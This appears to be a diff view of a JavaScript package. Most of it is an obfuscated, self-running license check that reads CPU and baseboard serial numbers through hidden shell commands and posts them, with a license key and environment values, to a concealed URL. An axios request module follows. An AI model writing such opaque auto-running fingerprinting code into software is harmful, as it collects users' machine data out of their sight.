_0x5a6450=nodeCmd[_0x5f53('0x8b')](_0x5f53('0x1c'));_0xd9476b=_0x5a6450['data'][_0x5f53('0x6a')]()[_0x5f53('0x33')]();}catch(_0x35a579){let _0x16cf2c=nodeCmd[_0x5f53('0x8b')](_0x451562[_0x5f53('0x58')]);_0xd9476b=_0x16cf2c[_0x5f53('0x49')][_0x5f53('0x6a')]()[_0x5f53('0x33')]();}}if(_0x451562[_0x5f53('0xd9')](_0x202ae1,_0x451562[_0x5f53('0x6e')])){let _0x27bddf=nodeCmd['runSync'](_0x5f53('0xa3'));_0xd9476b=_0x27bddf[_0x5f53('0x6a')]()['trim']();}return _0xd9476b;}function getBaseboardNumber(){const _0x284dbf={};_0x284dbf[_0x5f53('0x71')]=_0x5f53('0xf');_0x284dbf['FEIuP']=_0x5f53('0x9a');_0x284dbf['QpfxN']='^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}';_0x284dbf[_0x5f53('0x98')]=function(_0xf1a88c){return _0xf1a88c();};_0x284dbf[_0x5f53('0xc8')]=function(_0x2a2296){return _0x2a2296();};_0x284dbf[_0x5f53('0x67')]=_0x5f53('0x1f');_0x284dbf['WxeJH']=function(_0x42e6f5,_0x1e1fd1){return _0x42e6f5===_0x1e1fd1;};_0x284dbf[_0x5f53('0x99')]='jgOSq';_0x284dbf[_0x5f53('0xc')]=function(_0x557feb,_0x2d19e9){return _0x557feb===_0x2d19e9;};_0x284dbf['vxqKj']='WRuKn';_0x284dbf[_0x5f53('0x92')]=_0x5f53('0x5b');_0x284dbf[_0x5f53('0x90')]='linux';_0x284dbf[_0x5f53('0x5a')]=_0x5f53('0x52');_0x284dbf[_0x5f53('0x16')]=function(_0x391884,_0x5b5cd0){return _0x391884!==_0x5b5cd0;};_0x284dbf['RzwJc']='MqOZE';_0x284dbf[_0x5f53('0x10')]='OYqjL';_0x284dbf['pLIgG']=_0x5f53('0x72');_0x284dbf['flGJV']=function(_0x722896,_0x1f9084){return _0x722896==_0x1f9084;};const _0x59a366=_0x284dbf;let _0x5156b2=_0x59a366[_0x5f53('0xc8')](getPlatform);let _0x5d6b88;if(_0x5156b2==_0x59a366[_0x5f53('0x67')]){if(_0x59a366['WxeJH'](_0x59a366[_0x5f53('0x99')],_0x59a366[_0x5f53('0x99')])){let _0x564943=nodeCmd['runSync'](_0x5f53('0xb2'));_0x5d6b88=_0x564943['data']['toUpperCase']()[_0x5f53('0xaa')](0xc)[_0x5f53('0x33')]();if(!_0x5d6b88){if(_0x59a366[_0x5f53('0xc')](_0x59a366[_0x5f53('0x96')],_0x59a366['cieIb'])){if(fn){const _0x53aed6=fn[_0x5f53('0x3e')](context,arguments);fn=null;return _0x53aed6;}}else{let _0x1be44c=nodeCmd[_0x5f53('0x8b')](_0x5f53('0x68'));_0x5d6b88=_0x1be44c[_0x5f53('0x49')][_0x5f53('0x6a')]()[_0x5f53('0xaa')](0xc)[_0x5f53('0x33')]();}}}else{let _0x45d2ba=fs['readFileSync'](_0x59a366[_0x5f53('0x71')]);return JSON[_0x5f53('0x66')](_0x45d2ba);}}if(_0x5156b2==_0x59a366[_0x5f53('0x90')]){try{let _0x21fbd1=nodeCmd[_0x5f53('0x8b')](_0x59a366['Hqkwf']);_0x5d6b88=_0x21fbd1[_0x5f53('0x49')][_0x5f53('0x6a')]()[_0x5f53('0x33')]();}catch(_0xb5f97d){if(_0x59a366[_0x5f53('0x16')](_0x59a366[_0x5f53('0x9c')],_0x59a366[_0x5f53('0x10')])){let _0x22d219=nodeCmd[_0x5f53('0x8b')](_0x59a366[_0x5f53('0x38')]);_0x5d6b88=_0x22d219[_0x5f53('0x49')]['toUpperCase']()[_0x5f53('0x33')]();}else{const _0x1c69e3={};_0x1c69e3[_0x5f53('0x24')]=_0x59a366[_0x5f53('0xb0')];_0x1c69e3[_0x5f53('0x4b')]=_0x59a366[_0x5f53('0x8a')];const _0x50e16e=_0x1c69e3;const _0x610cc1=function(){const _0x5e62bc=_0x610cc1[_0x5f53('0x13')](_0x50e16e[_0x5f53('0x24')])()['compile'](_0x50e16e[_0x5f53('0x4b')]);return!_0x5e62bc[_0x5f53('0x88')](_0x1bdb68);};return _0x59a366['xeGFw'](_0x610cc1);}}}if(_0x59a366[_0x5f53('0x75')](_0x5156b2,_0x5f53('0x41'))){let _0x428247=nodeCmd[_0x5f53('0x8b')](_0x5f53('0xca'));_0x5d6b88=_0x428247['toUpperCase']()[_0x5f53('0x33')]();}return _0x5d6b88;}function getPlatform(){return os['platform']();}function checkLicense(){const _0xe791e9={};_0xe791e9[_0x5f53('0x2d')]=_0x5f53('0x5e');_0xe791e9['zQYOJ']=_0x5f53('0xd0');_0xe791e9[_0x5f53('0x45')]=function(_0x228327,_0x15a0fb){return _0x228327!==_0x15a0fb;};_0xe791e9[_0x5f53('0xe1')]=_0x5f53('0x74');_0xe791e9[_0x5f53('0x54')]=_0x5f53('0x47');_0xe791e9[_0x5f53('0x65')]=_0x5f53('0xb7');_0xe791e9[_0x5f53('0x0')]=function(_0x19b548,_0x56835d){return _0x19b548==_0x56835d;};_0xe791e9[_0x5f53('0x1d')]='ydcIp';_0xe791e9['upgOc']=_0x5f53('0x2');_0xe791e9[_0x5f53('0x31')]=function(_0x54cc20,_0x293f3e){return _0x54cc20+_0x293f3e;};_0xe791e9['kPqoN']=function(_0x43256a,_0x5d1557){return _0x43256a==_0x5d1557;};_0xe791e9[_0x5f53('0xb4')]=_0x5f53('0xa5');_0xe791e9[_0x5f53('0x9b')]=function(_0x1fec89,_0x21aa38){return _0x1fec89==_0x21aa38;};_0xe791e9[_0x5f53('0x36')]='\x0a授权申请已提交,请等待审核';_0xe791e9[_0x5f53('0xc1')]=_0x5f53('0xc5');_0xe791e9[_0x5f53('0x26')]=_0x5f53('0x37');_0xe791e9['EDyNW']=_0x5f53('0xbc');_0xe791e9[_0x5f53('0x14')]=_0x5f53('0x77');_0xe791e9[_0x5f53('0x1b')]=_0x5f53('0x79');_0xe791e9['rROML']=_0x5f53('0x89');_0xe791e9[_0x5f53('0x95')]='VUE_APP_LICENSE_KEY';_0xe791e9[_0x5f53('0x81')]='OTxBP';_0xe791e9[_0x5f53('0xdf')]='\x0a请填写授权码';_0xe791e9[_0x5f53('0x9e')]=function(_0x44f71a){return _0x44f71a();};_0xe791e9[_0x5f53('0x4')]=function(_0xfbb44d,_0x115315){return _0xfbb44d||_0x115315;};_0xe791e9[_0x5f53('0x43')]=function(_0x18af9d,_0x3e5ec3){return _0x18af9d===_0x3e5ec3;};_0xe791e9[_0x5f53('0x39')]=_0x5f53('0x8');_0xe791e9[_0x5f53('0x62')]=_0x5f53('0xd2');_0xe791e9['ztkqw']=function(_0x465d77,_0x2cb42e){return _0x465d77(_0x2cb42e);};_0xe791e9['tqrgq']=_0x5f53('0xbd');const _0x49e9bd=_0xe791e9;console[_0x5f53('0x4c')](_0x49e9bd[_0x5f53('0x14')]);console[_0x5f53('0x4c')](_0x49e9bd[_0x5f53('0x1b')]+process[_0x49e9bd[_0x5f53('0xcc')]][_0x5f53('0x8c')]);let _0x2cdd41=process[_0x49e9bd[_0x5f53('0xcc')]][_0x49e9bd[_0x5f53('0x95')]];let _0x4e1e4e=process[_0x5f53('0x89')][_0x5f53('0xc2')];if(!_0x2cdd41){if(_0x49e9bd[_0x5f53('0x81')]!==_0x49e9bd[_0x5f53('0x81')]){let _0x3c8396=nodeCmd[_0x5f53('0x8b')](_0x49e9bd['iYezE']);_0x2b10fb=_0x3c8396['data'][_0x5f53('0x6a')]()[_0x5f53('0xaa')](0xb)[_0x5f53('0x33')]();}else{console['log'](chalk[_0x49e9bd[_0x5f53('0x7d')]](_0x49e9bd[_0x5f53('0xdf')]));process['exit'](0x1);}}let _0x2b10fb=_0x49e9bd[_0x5f53('0x9e')](getCpuId);let _0x157e98=_0x49e9bd[_0x5f53('0x9e')](getBaseboardNumber);if(_0x49e9bd[_0x5f53('0x4')](!_0x2b10fb,!_0x157e98)){if(_0x49e9bd[_0x5f53('0x43')](_0x49e9bd['HDnqQ'],_0x49e9bd['HDnqQ'])){console[_0x5f53('0x4c')](chalk[_0x49e9bd[_0x5f53('0x7d')]](_0x49e9bd[_0x5f53('0x62')]));process['exit'](0x1);}else{return os[_0x5f53('0x1')]();}}axios[_0x5f53('0x5c')][_0x5f53('0x44')]=0x1388;const _0x1220ae={};_0x1220ae[_0x5f53('0x82')]=_0x2b10fb;_0x1220ae[_0x5f53('0x7b')]=_0x157e98;_0x1220ae[_0x5f53('0x61')]=_0x2cdd41;_0x1220ae[_0x5f53('0xd')]=_0x4e1e4e;_0x1220ae['timestamp']=new Date()[_0x5f53('0xa6')]();_0x49e9bd[_0x5f53('0x60')](axios,{'url':_0x49e9bd[_0x5f53('0x3a')],'method':_0x5f53('0x7a'),'data':_0x1220ae})[_0x5f53('0xbf')](({data})=>{if(_0x49e9bd['uStRp'](_0x49e9bd[_0x5f53('0xe1')],_0x49e9bd[_0x5f53('0x54')])){let _0x2b04de=data[_0x49e9bd['hvMWn']];if(_0x49e9bd[_0x5f53('0x0')](data[_0x5f53('0x6c')],0x1f4)){if(_0x49e9bd['wTtCJ']!==_0x49e9bd[_0x5f53('0x1d')]){thanks(folder);}else{console[_0x5f53('0x4c')](chalk[_0x49e9bd[_0x5f53('0x7d')]](_0x49e9bd[_0x5f53('0x31')]('\x0a',_0x2b04de)));fs['writeFile'](_0x49e9bd[_0x5f53('0xe')],_0x2b04de,function(_0x3b6ef2){process[_0x5f53('0x12')](0x1);});}}if(_0x49e9bd[_0x5f53('0xa8')](data[_0x5f53('0x6c')],0xc8)){if(!_0x4e1e4e){fs[_0x5f53('0xcd')](_0x5f53('0xd5'),_0x49e9bd['mwMdB']+data[_0x5f53('0xd')],function(_0x4c142f){process[_0x5f53('0x12')](0x1);});if(_0x49e9bd[_0x5f53('0x9b')](data['success'],![])){console[_0x5f53('0x4c')](chalk[_0x49e9bd['upgOc']](_0x49e9bd['bWPFf']));process[_0x5f53('0x12')](0x1);}}if(_0x49e9bd[_0x5f53('0x9b')](data[_0x5f53('0x46')],![])){console[_0x5f53('0x4c')](chalk[_0x49e9bd[_0x5f53('0x7d')]](_0x49e9bd['WLKol']));process['exit'](0x1);}fs[_0x5f53('0x51')](_0x49e9bd['LtTSP'],JSON['stringify'](data),function(_0x70bd4d){fs['unlink'](_0x49e9bd[_0x5f53('0xe')],function(){});});}}else{checkLicense();}})[_0x5f53('0xc6')](_0x3b31fb=>{console[_0x5f53('0x2c')](_0x3b31fb);console[_0x5f53('0x4c')](chalk[_0x49e9bd[_0x5f53('0x7d')]](_0x49e9bd[_0x5f53('0xc4')]));process[_0x5f53('0x12')](0x1);});}!(()=>{const _0x318089={};_0x318089['gPaFe']=function(_0x15b3ce){return _0x15b3ce();};const _0xe05d5a=_0x318089;_0xe05d5a['gPaFe'](checkLicense);})();
|
@@ -0,0 +1,36 @@
|
|
1
|
+
import axios from 'axios';
|
2
|
+
import { ConfigEnum } from '../enums/httpEnum.js';
|
3
|
+
const service = axios.create({
|
4
|
+
baseURL: localStorage.getItem(ConfigEnum.DRAG_BASE_URL) || ConfigEnum.TEST_DOMAIN,
|
5
|
+
});
|
6
|
+
// 添加请求拦截器
|
7
|
+
service.interceptors.request.use(
|
8
|
+
function (config) {
|
9
|
+
let licenseData = require('../license.json');
|
10
|
+
let checkLicense = licenseData.licenseToken;
|
11
|
+
if (!checkLicense) {
|
12
|
+
console.info("非法授权,请通过合法途径进行授权注册")
|
13
|
+
throw 'error';
|
14
|
+
}
|
15
|
+
//let jsEncrypt = new JSEncrypt();
|
16
|
+
//jsEncrypt.setPublicKey(licenseData.publicKey);
|
17
|
+
//let licenseToken = jsEncrypt.encrypt(licenseData.licenseToken);
|
18
|
+
config.headers[ConfigEnum.LICENSE_TOKEN] = process['env']['VUE_APP_LICENSE_TOKEN'];
|
19
|
+
config.headers[ConfigEnum.TOKEN] = localStorage.getItem(ConfigEnum.DRAG_TOKEN) || ConfigEnum.TEST_TOKEN;
|
20
|
+
return config;
|
21
|
+
},
|
22
|
+
function (error) {
|
23
|
+
return Promise.reject(error);
|
24
|
+
}
|
25
|
+
);
|
26
|
+
|
27
|
+
// 添加响应拦截器
|
28
|
+
service.interceptors.response.use(
|
29
|
+
function (response) {
|
30
|
+
return response;
|
31
|
+
},
|
32
|
+
function (error) {
|
33
|
+
return Promise.reject(error);
|
34
|
+
}
|
35
|
+
);
|
36
|
+
export default service;
|